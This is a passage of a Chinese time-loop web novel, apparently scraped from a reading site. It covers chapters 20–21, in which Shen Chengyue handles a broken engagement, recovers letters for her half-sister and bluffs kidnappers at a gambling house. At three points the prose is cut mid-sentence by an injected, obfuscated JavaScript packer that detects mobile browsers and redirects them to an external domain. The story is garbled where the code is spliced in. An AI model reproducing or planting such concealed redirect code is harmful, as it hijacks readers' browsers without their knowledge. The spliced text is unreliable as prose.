她想活,想自己活,至于小桃和那个陌生的男孩儿,便让他们自求多福吧。如果她死在下一间医馆里,循环随之结束,小桃便会触柱死在青楼,再无转圜。但那本来就是他们的命啊,如果没有自己,他们本就会一个死亡、一个失踪不是吗? 怨不得我,我得先看自己的伤,保我自己的命。 我凭什么要为他们放弃疗伤的机会? 我没那么无私。 然后她听到自己说:“虎狼之药,我决定了。” 我没那么无私,我只是追求最大的利益,一边是自己一条人命,另一边还要搭上另一条、甚至两条人命,何苦来哉? 两边都未必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14262809|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能活,都是在赌,赌注小一点,不好吗? 大夫该劝的都劝了,见她不识好歹,也不再多说,转身麻利地抓药熬药。 沈乘月探脑袋看他:“放点冰糖。” “……”大夫惊了,“人快没了还惦记吊命药的口味呢?姑娘您当真视死如归!” “好说好说,反正都要上路,总不能苦着上路,”沈乘月想摸一下伤口,又有些不敢,“您能不能先给我止个痛?” “我这里倒是有麻沸散,但您这伤得太重,要止痛,得加大药量,至少半身都麻了,走不了,也动不了,您要吗?” 沈乘月都快哭出来了:“不要了。” “您这是犯了什么事儿啊?这么害怕报官?”大夫一边用蒲扇扇火,一边好奇地打听,“杀人越货,谋财害命,还是打家劫舍了?” “……咱们京城的治安没你想象得那么差吧?” “……” 沈乘月握住药瓶,她服下汤药后,那大夫又给了一瓶丸药,嘱咐她一个时辰吃一颗,或者觉得撑不住了就再来一颗。 她咽下一丸药,放下马车上的桌板,展开纸笔,匆匆写就了三封信,第一封给祖母,其他两封给爹娘。 “万一我能没活下来,也算是交待了后事,”她一乱动,又吃痛呻吟了一声,盘算着是否有什么遗漏,“告诉祖母别太伤心,我走得并不痛苦。告诉爹爹我不该冤枉了他,告诉娘我敬佩她的胸怀,但请他们以后别一个个像个锯嘴葫芦似的,什么都瞒着我,嘴是摆设吗?我不问他们难道就不知道要……算了,最后一句涂掉,都说人之将死其言也善,我也没必要谴责他们了。老天,我真是个大好人……” 她写好了信,平躺在马车里,找了个还算舒服的姿势,透过帘子,望向天边晚霞。 她对人世间还有些留恋。 但这般平静归去,大概也好。 反正自己被困在这里,逃脱不得,如今用命来打破循环、来反抗天意,也算值了。 救了两个人,算得上有意义了。自己死了,循环结束,他们也能好好地活下去…… 说不定老天让自己陷入轮回,本就是为了救人呢。 “我真是天底下最无私的人,”她向来不吝于称赞自己,“命都快没了还想着救人。” 还没等她酝酿出眼泪,办事向来干净利落的孙嬷嬷已经带着小桃回转,顺手把银票递还大小姐:“剩下的银子。” 沈乘月还沉浸在悲壮里氛围里:“剩下的?什么剩下的?” “您给了我六百两银票,刚刚赎小桃花了一百两,剩下五百……” 沈乘月垂死病中惊坐起:“多少?!” “一百两,”孙嬷嬷不解,“姑娘,您……莫非是嫌花得数目不对?” “一百两?那老鸨要了我六百两!”沈乘月大怒,“每次都是!” “……” “混账!她害死小桃一次,又骗了我不计其数次,若我能活到循环结束的那一天,”沈乘月阴森森道,“我定要把这间胭脂苑买下来改成畜牧场,让那老鸨日日去给我养鸡喂猪!” 20.第 20 章 沈府,月华院。 又是一日晨间,今日如昨。 孙嬷嬷富态的脸上带着喜气,尚未踏入里间房门,声音倒是先传了过来:“姑娘,萧少爷来看您了!” 沈乘月闻言笑道:“萧哥哥来了?” “可不是嘛!”孙嬷嬷道,“一大早就来了,等在前院里,怕是迫不及待要见小姐的面了!” 沈乘月点了点头:“那就给我上妆打扮吧。” 四五个丫鬟开始围着沈乘月打转,一边给她梳头,一边捧了两件新制的夏装来问:“小姐,这嫩粉和鹅黄的,您今日要穿哪一件?” 沈乘月单手托腮,很愉悦地抬手一指:“都很漂亮,我选嫩粉的好了。” “是。” 待一番描眉画眼、梳头挽髻后,孙嬷嬷给沈乘月撑起一把油纸伞:“姑娘,外头太阳毒得很,小心暑气。” 她接过伞:“好,你自己也记得打伞。” 一行人出了月华院,转过一条回廊,打眼便看到不远处紫藤架下,有几个丫头小厮在躲懒乘凉,偷偷聊着闲话。 沈乘月哼起了一首小调,眉目间蕴着笑意,脚步快乐又轻盈。几名下人听到歌声,转头看到大小姐一行经过,纷纷噤声。 孙嬷嬷调笑道:“姑娘是因为萧少爷的到来而开心?” “自然,”沈乘月对她眨眨眼,“我有什么不开心的理由呢?” 一行人行至沈府前院,第一眼便看到了在假山流水边徘徊的萧遇。萧家公子向来气度翩翩,引人心折。今日他穿了一袭月白色锦缎长衫,以玉簪束发,手持一把水墨折扇,气若谪仙。 沈乘月朗声笑道:“云间贵公子,玉骨秀横秋,萧公子风姿朗朗,的确当得起这句赞誉。” 萧遇听到这一句,略有些惊讶地回首望向她,行了一礼:“见过沈姑娘。” “萧公子今日前来,所为何事?” “我……” 见他迟疑,沈乘月凑上前,拍了拍他的肩:“你我二人自幼相识,都认识那么多年了,你也别来面露难色这一套,有话直说好了。” “……”萧遇怔了一怔,“沈姑娘看起来心情不错?” 沈乘月笑眼弯弯:“我还活着,自然心情很好。” “活着?”萧遇似乎不明白为什么有人会单纯为“活着”而感到开心,人生碌碌,有几个人会记得活着本身就是一件该值得开怀的事? 沈乘月在假山下挑了一块平整的石头坐下:“所以建议你有话直说,你今日说什么我都能原谅你。” 萧遇古怪地看着她的动作,沈乘月虽然娇纵任性,但也一向最守贵女仪态,站有姿,行有仪。随意挑块石头坐下这种事,以前绝不会发生在她身上。 沈乘月又从袖口摸出一小袋瓜子,分了一把给萧遇:“吃吗?” “……不必,谢谢。” 沈乘月以一个很放松的姿态坐在大石上,撑着阳伞,嗑着瓜子,抬头望着翩翩公子,就差翘起二郎腿吹个口哨了。 于是萧遇不再迂回,深吸了一口气,直截了当道:“沈姑娘,我想退婚。” 沈乘月浮夸地将他一指:“你说什么?!” “我说,我要退婚,”他的声音带着歉意,“是我的错,萧某一定做出补偿,对外只说是我不好,绝不敢损害姑娘声名。” “你心仪之人是谁?” 正在道歉的萧遇顿了顿:“沈姑娘怎知萧某已有心仪之人?” “抱歉,有点急了,我这里应该说什么来着?”沈乘月一拍脑袋,“对了,为什么?!” 萧遇有些被她绕晕了:“因为我已有心仪之人?” “……” “……” “算了,不难为你了,”沈乘月笑了笑,放下瓜子,站起身来,揽住他的肩,把他往门口带,“我知道你喜欢沈瑕,你来退婚是因为你与她两情相悦。我同意了,有缘再见。” “……” 她把人推到门外:“哦,对了,忘了告诉你,待会儿沈瑕会被罚跪。” “什么?!”萧遇一听,又要往门里挤。 “快快快,关门,别让他进来!”沈乘月连忙吩咐门房。 门房看了她一眼,又看了萧遇一眼,遵从自家大小姐之令,把萧公子严严实实地关在了门外。 玉骨秀横秋的云间贵公子大概这辈子还没遇见过这么幼稚的人,望着沈府的大门,一时无言以对。 孙嬷嬷在一旁几乎看呆了:“姑娘?” “我要出门一趟,”沈乘月望了望天,“因为……萧遇伤我很深,所以我要去散散心,别跟过来。” “……” 沈乘月扛着铁锹,牵马从侧门大摇大摆溜出去的时候,从小巷里探头望了望前门,看到萧遇还在门口急得团团转:“看来他真的挺喜欢沈瑕的,就是人笨了点。” 她没再理会他,转身打马而去。 ——— 杏园。 “姑娘昏倒了,快过来帮把手!” 几个下人疾步踏出门,不多时,七手八脚地抬进来一个姑娘,正是沈瑕。 她双眸紧闭,唇色泛白,额头上渗出细密的汗珠,一缕如绸的墨发也被浸湿了,紧贴在脸上,被丫鬟小心翼翼地拨开。 杏园里一片忙乱,唯有一女子笑吟吟地倚在门边看热闹,看起来分外欠揍,但满园无人敢对她动手,因为此人正是沈府的大小姐沈乘月。 见众人把沈瑕抬上床,她才慢悠悠地踱步上前,把手里沾满泥土、看起来脏兮兮的木盒子放在干净整洁的床边。众人瞪着她,敢怒不敢言。 只有一名丫鬟站出来,想把东西挪开:“大小姐,二姑娘一向最爱整洁。” “这可是你们二小姐要的东西,”沈乘月似笑非笑,“我为它挨过一刀,又在烈日下挖土挖了很久。” “……”丫鬟们自然没听懂她在胡言乱语些什么。 沈乘月抬手伸向沈瑕的人中,被丫鬟出声拦阻:“大小姐!” “我还能在众目睽睽之下谋害她不成?”沈乘月动作不停,“我学了一点粗浅的医术,以防某一日为了某人交待的任务死得不明不白。” 丫鬟紧张不已,站在床边盯紧了她的动作。 沈乘月试过沈瑕的鼻息、脉象,挑了挑眉:“还真是装的,小看你了。” “……”沈瑕躺在床上,除了清浅的呼吸,几乎一动不动,连眼皮都没有颤动一下。 “别装了,起来吧,有事和你说。” “……” “你喜欢杏花,因为你母亲喜欢杏花。” “……” 一旁的丫鬟终于忍无可忍:“大小姐,二姑娘已经伤暑晕倒,您又何必苦苦相逼?非要冤枉她是在作假装相?你、你到底安的什么心!” “唔,好吵……”沈瑕这才肯悠悠醒转,虚弱地看向床边的沈乘月,“姐姐,你怎么在这里?” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14273006|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乘月无奈地看她表演:“你要的东西,我给你带来了。” 沈瑕眼神闪了闪,对床边几名丫鬟道:“你们去休息吧,我和姐姐说几句话。” “姑娘……” “不必担心我。” “是。”几名丫鬟把她扶起来,拿了抱枕让她小心靠坐着,这才退下,离开前还防备地瞄了一眼沈乘月。 沈乘月冲她做了个鬼脸,丫鬟跺了跺脚,气呼呼地走开了。 “你这丫头实在很忠心。” “姐姐?” “你对她倒也不算没有真心,怕我为难她,才及时醒了。”只是对我实在不怎么真诚。 沈瑕不理她这句话,虚弱地开口:“姐姐,你到底有什么事?” “我陷入了时间循环,度过了很多遍七月初六,你是聪明人,所以我找你想办法帮我破局,”沈乘月指了指木盒子,言简意赅,“这是你要的报酬。” “时间循环?”聪明人笑得温温柔柔,“所以你是故意让我被罚跪的?” “确实是可以避免的,”沈乘月理亏,“但我真的很想知道你到底是不是在装晕。” “装晕是真的,”沈瑕叹气,“难受也是真的。” 沈乘月斟了杯凉茶,递到她面前:“我保证以后不会了。” “那就多谢姐姐了,”沈瑕接过茶盏,“我要的是什么报酬?” “你……母亲与他人的来往书信。” 沈瑕微怔:“我母亲……而你居然真的拿到了?” “别小瞧循环的力量。” 沈瑕顿时不虚弱了,将杯子一扔,利落地俯身把木匣子捧起来,郑重地放到自己膝上,半点也没在意上面的泥土,打开它时,沈乘月注意到她双手有些发颤。 她展开里面的信件,一目十行,半晌抬起头来:“你看过了吗?” “今天我拿到就直接给你送过来了。” “你一定费了很多工夫,连我都不知道它具体埋在哪个位置,”沈瑕认真看向她,“多谢你了,我承你一份情。” 看出她情绪不对,沈乘月自觉离开:“你先消化一下,我晚点再来找你。” “好。” 沈乘月走出杏园院门时,无声地叹了口气。 ——— 沈乘月在月华院中自斟自饮到第三壶酒的时候,心情还算愉悦,因为她突然想到循环中自己不必事事躬亲,很多事完全可以假手于人。 甚至……假手于人,比自己做得更好。 “六百两!”她耿耿于怀。 那丢失的孩子,其实也可以派人去蹲点,她只要提前把拐子的特征画下来即可。 说做就做,沈乘月取出纸笔丹青,根据记忆挥毫而就,她已经和两人交手太多次,连腰带上有几个孔洞都画得纤毫毕现。 完成后欣赏片刻,又抬笔修了下胡子,自觉已经有九成相似:“我真聪明。” 她打算先派人去蹲点,自己隐在暗处跟踪几天,确保拐子和同伙都能被拿下后,她就可以彻底放手。 这样如果自己再受伤或被绊住,也不会牵累其他人的命。 她也可以放松一些,不必每日都忙着救人了…… 沈乘月正惬意地琢磨着以后每晚的空闲时间可以拿来做些什么时,今日在杏园见过的小丫鬟冲破拦阻闯了进来,扑通一声跪在她面前:“大小姐!求您救救二小姐!她在外边被捉了,命我来找您!” “……” 21.第 21 章 小丫鬟跪在沈乘月面前,急得快要哭出来了:“大小姐,求求您……” 眼见她俯身要对自己叩首,沈乘月伸手把她拉了起来:“别急,先说清楚,沈瑕是被什么人捉了?求财还是求别的什么?” “被、被匪徒,据他们说是求财,还要一辆马车送他们离开,不要府里带记号的那种,还说他们拿了钱出了城,就会把二小姐放了,”小丫鬟不太信得过沈乘月,她想不明白为什么姑娘坚持要自己来向这位向来与她们不对付的大小姐报信,“要不,我还是去禀告老爷和老夫人……” “在哪儿被捉的?” “城西。” 城西的街道楼阁分布划过沈乘月的脑海,她来不及追问沈瑕去城西做什么,只是点了点头:“带路,我随你去看看。” 她带了银票,牵了马出门,一路从人少的小巷绕行,飞驰往城西,经过铁匠铺子时,勒马停下,进去买了些物件。 小丫鬟抱着她的腰,给她指路:“就在前面那间库房,他们不许我去报官,说是敢报官就要了姑娘的命!” “你叫什么名字?” “芳信。” “好,芳信,”沈乘月勒马,“街尾左拐,走到头再右拐,第三间门脸,那里可以租马车,你租来一辆在街角等我,别靠得太近,我进去看看,一刻钟没出来你就去报官。” “可是……” “听我的。” “我……”芳信有些恍惚,她竟不知两位小姐什么时候关系这么好了?二小姐坚持要找大小姐,而大小姐还真的来了,甚至还要孤身一人闯入匪窝。就在今日早些时候,二小姐还因为萧公子提出退婚而被罚跪啊,大小姐不是最在乎萧公子了吗? 她心乱如麻,一时疑心沈乘月是要进去落井下石的,一时又想到没人会为着落井下石把自己也搭进去。 沈乘月没有再与她多说,径直上前扣响了房门,很快有一络腮胡子前来应门,先往她身后扫视了一圈,确定她是孤身一人才肯放行。 她踏入库房,大门在她身后关闭,一名匪徒也绕到她身侧,堵住了她逃跑的路。 沈乘月强行控制住自己没有回头看上一眼,沉着地跟在匪徒身后前进。 她很快见到了沈瑕,后者被绳子缚住双手,绑在角落的柱子旁,发丝齐整,神色不算慌张,看起来没受什么虐待。见到长姐只身前来,她便一直盯着沈乘月看,说不清眼神里究竟包含了什么情绪。 为首的匪徒看到沈乘月十分惊讶:“想不到来的竟是个丫头片子!” “多少银子,你开个价吧。” “我改主意了,”匪徒突然笑了起来,“两位如花似玉的美人在前,我忽然不大想放人了。” “每个人都有一个价码,”沈乘月掐住手心,强迫自己冷静,脑子飞速运转,从看过的话本里,生搬硬套出一句还算有气势的台词,“让我猜猜你的?” 匪徒发出一声嗤笑:“我可看不上大家闺秀手里那点小钱。” “一百万两,如何?” “你有一百万两?当老子是傻子?”为首的匪徒狂笑道,“沈大姑娘,便是你爹站在这里,也不可能一口气拿得出这么多银两!” “我自有办法,请诸位移驾吉祥赌坊。” “移哪门子的驾?老子凭什么信你?” “诸位可是混香山堂口的?”沈乘月斗胆一猜,反正她就知道这么一个堂口。 匪徒眯起双眼:“你都知道些什么?” 看来是赌对了,“那里还有一个贼窝……我是说梁上君子的落脚地,我和其中几位兄弟颇有来往,王四、李牛、魏二虎,我们之间可是有……过命的交情。” “……”匪徒们显然没想到一个大家闺秀会说出这种话,但这几个贼人他们也是认得的,名字全都对得上,不由他们不信。为首的匪徒开始迟疑,“你一个千金小姐,能和他们有什么交情?” “他们偷来的昂贵珠宝,你可知是如何销赃的?” “……我不知道,怎么销?” 我也不知道。沈乘月笑得高深莫测,不说话了。 见她不回答,匪徒反而开始疯狂发挥自己的想象力,一拍自己的大腿:“王四这群人倒是奸猾!官匪勾结,让官员替他们销赃!沈家那官老爷看着人模狗样的,背地里竟和我们做的是同样的勾当!呸!道貌岸然的狗东西!” 沈乘月给亲爹扣了巨大一口黑锅后,不慌不忙道:“既然我没有把你们在香山的藏身处出卖给五城兵马司,我猜就值得你信上一信。” “……” “你挟持了沈府的两个女儿,真以为能全身而退?我已经在门外远处安排了人,一刻钟内她看不到我踏出门槛,就会立刻报官。便是五城兵马司抓不到你们,王四大哥他们也不会放过你,”沈乘月晓之以理,“与其拼个鱼死网破,不如您拿了银子,大家一起发财,莫要伤了和气。” 匪徒在她报出王四等人的名号后,其实已经有些动摇,但此时仍然迟疑,看向被绑的沈瑕:“刚刚我们抓人,已经得罪了沈二小姐。” 他显然是担心放人后,她们会报复。 沈乘月耸耸肩:“但凡你在京城里打听打听,就该知道我一向不是特别喜欢这个妹妹。只是她对我而言还有些用处,我不能让她死在这里。” “……”匪徒似乎不是特别相信这句话,仍在考虑些什么。 “请。”沈乘月一手对着大门做了个请的手势,另一只手手腕一翻,一柄刚刚顺路从铁匠铺买来的锋利小刀向沈瑕的方向掷了出去,在众人目瞪口呆的表情中精准地钉穿了绑住沈瑕的绳子。 沈乘月从小玩投壶,又在循环中练习了无数遍的保命功夫,一出手,便换得满堂寂静。 她一刀射出后,甚至没有多看沈瑕一眼,仿佛她知道这一刀一定会命中,她只是笑吟吟地看着匪首,确切地说,是在看他的咽喉。 匪徒捂住喉咙,倒退了一步。 “请。”沈乘月又重复了一遍,这次的请字,听起来变得更加不容拒绝。 “三当家……”有人扯了一把为首的匪徒,示意他赶快应下来。人家能谈上交情,真绑了她后患无穷,她又愿意给钱,面子有了,里子也给了,现在还露了这么一手震慑,咱们有什么不答应的理由?非得为了点色心换来喉咙上的血洞吗? 沈乘月不可能杀了所有人,事实上匪徒们现在已经有所防备,她射出下一刀的空隙间就会立刻被其他人拿下,但匪首也听过“擒贼先擒王”的道理,刚刚他的话最多,沈乘月若只能选一个人带走,他完全能想象得到这个人会是谁。 于是他咽了口吐沫,点了点头:“沈姑娘,请。” 沈乘月笑起来:“吉祥赌坊是我选的,三当家若担心里面提前设了埋伏,换成京里任意一家赌坊都可以。” “亨通赌坊。” “好。” 于是一行人离开了库房,绑住沈瑕的绳子已被小刀射断,她揉了揉手腕,站起身来,跟在了沈乘月身侧。 她身后,又有一匪徒隔了半步跟着,袖子里笼着把匕首,以便沈乘月翻脸不认人时,可以随时拿下她。 于是沈乘月大步当先,一群人亦步亦趋地跟在身后,倒像是一群侍卫护送大小姐出门游乐。 虽然她完全是被赶鸭子上架,只有外表镇定,内心其实十分慌乱。 她所谓的筹码,一半都是靠胡编乱造。连那一刀都是赌的,但凡那麻绳浸过油,更结实些,她就未必射得断。 刚刚谈判过程中,她一直在提醒自己决不能发抖,但凡害怕到手抖了一抖,被匪徒发现她的自信镇定都只是装样子,结果便很难说。如果她和沈瑕被掳走,她很难想象,在这一天结束前,她们会遭遇什么。 沈乘月欲哭无泪,陷入循环前,她只是一个情窦初开的普通女孩子,为什么要经历这些? 一群混账,总有一日,我要让你们这堂口改名姓沈! 她心下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14286270|149706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骂了绑匪又怒骂沈瑕,只是亨通赌坊离得也不算远,没留给她太多伤春悲秋的时间。 到了地方,沈乘月熟练地取出一百两的银票拍在赌桌上:“押大。” 众匪徒古怪地看着她的动作,随着一局接一局,局局必胜,他们的眸光越来越亮,眼神也越来越贪婪。 只有沈瑕安静地站在一旁,不言不语。 沈乘月忽然停手的时候,匪徒们都忍不住催促:“继续啊!” “看到了吗?我只用了百两本金,短短时间翻了十番,”连胜几局后,沈乘月暂停下来,“我可以一直赢下去,只要给我一点时间,我承诺的一百万两绝非虚言。” “你能一直赢下去?” “如果诸位有本金的话,可以跟着我押注,我带着你们赢。” 为首的匪徒舔着唇,显见十分心动,摸了摸腰包,却只摸出了些碎银子。 沈乘月笑着把刚赢来的一千两银票推过去:“就当我请诸位兄弟吃酒。” “爽快!”匪徒大笑起来,“你这个朋友我交定了!” 喊数开盅、独胆、二八、三骰,沈乘月百战百胜。 另有路人想跟着她押注,被匪徒们霸道地推开:“滚开,不许蹭我们的手气!” 一名白胡子老头被一把掼倒在地,却也敢怒不敢言。 沈乘月对推人的匪徒挑了挑下巴:“把人扶起来。” 匪徒愣了愣,那一瞬间连沈瑕看向沈乘月的眼神都充满了惊叹。 匪徒看向为首的三当家,后者赌兴正浓,不耐烦道:“沈姑娘让你扶你就扶!” “是。”匪徒依言把老人扶起。 “这才对嘛,”沈乘月笑了笑,“非要在赌场闹事,生怕别人注意不到吗?” 匪徒又瞄了一眼三当家,发现后者沉迷赌桌之中,完全没有要为自己做主的意思,只能憋屈地一点头:“……沈姑娘说的是。” 沈乘月笑着看向众匪徒,至少接下来的循环里,她已经知道该做些什么了。 这一夜,满座欢声笑语。 匪徒们赢得盆满钵满,开心地大叫大笑,匪首顺手就要去搭沈乘月的肩,被她一个眼神制止,顿时讪笑道:“沈姑娘有这本事,不管走到哪里都该有人把你供起来才是。” “我有些累了,想回去休息了。” “再玩一会儿吧!”大家劝她。 “在同一家赌坊赢太多银子,很容易引起注意,这一点你们应当比我更清楚,还是点到即止,我们改日换一家赌坊为好,”沈乘月提议,“我离开之后,你们最好适当输一点回去,免得被盯上。” “这……”匪首从兴奋中稍稍清醒了些,下意识要拦她。 “我的本事能弄到源源不断的银子,”沈乘月抚上袖口,“而你想扣下我杀鸡取卵?” “不不不,”匪首见她动作,连忙摇头,“只是……沈姑娘离开后,保证绝不报官?” “你也有我父亲的把柄,我若报官抓你,你不会反咬一口吗?” “怎么会呢?”匪首打了个哈哈,“令尊既能帮那贼窝销赃,将来咱们说不定也能求到他呢。” “那我和二妹先行告辞了,”沈乘月笑了笑,“明日我们继续?约在哪间赌坊?” “我明日一早派人通知沈姑娘。” “好。”沈乘月点点头,扯着沈瑕走出赌场,感觉自己的腿都是软的。 匪首示意一旁还在盯着赌桌的手下:“去,你们几个跟上!如果她们回沈府,那就相安无事,若她们往衙门那条街上拐,你明白该怎么做。” “是!” 沈乘月一出赌坊大门,就闷头向前走,不理会后面的人。 沈瑕沉默地跟了一会儿,才小心翼翼地叫了声:“姐姐……” 她不说话还好,一开口沈乘月就炸了,转身揪住她的领口,一把将她扯进小巷,按在墙上,怒道:“沈瑕,该我来和你算算总账了!” “……”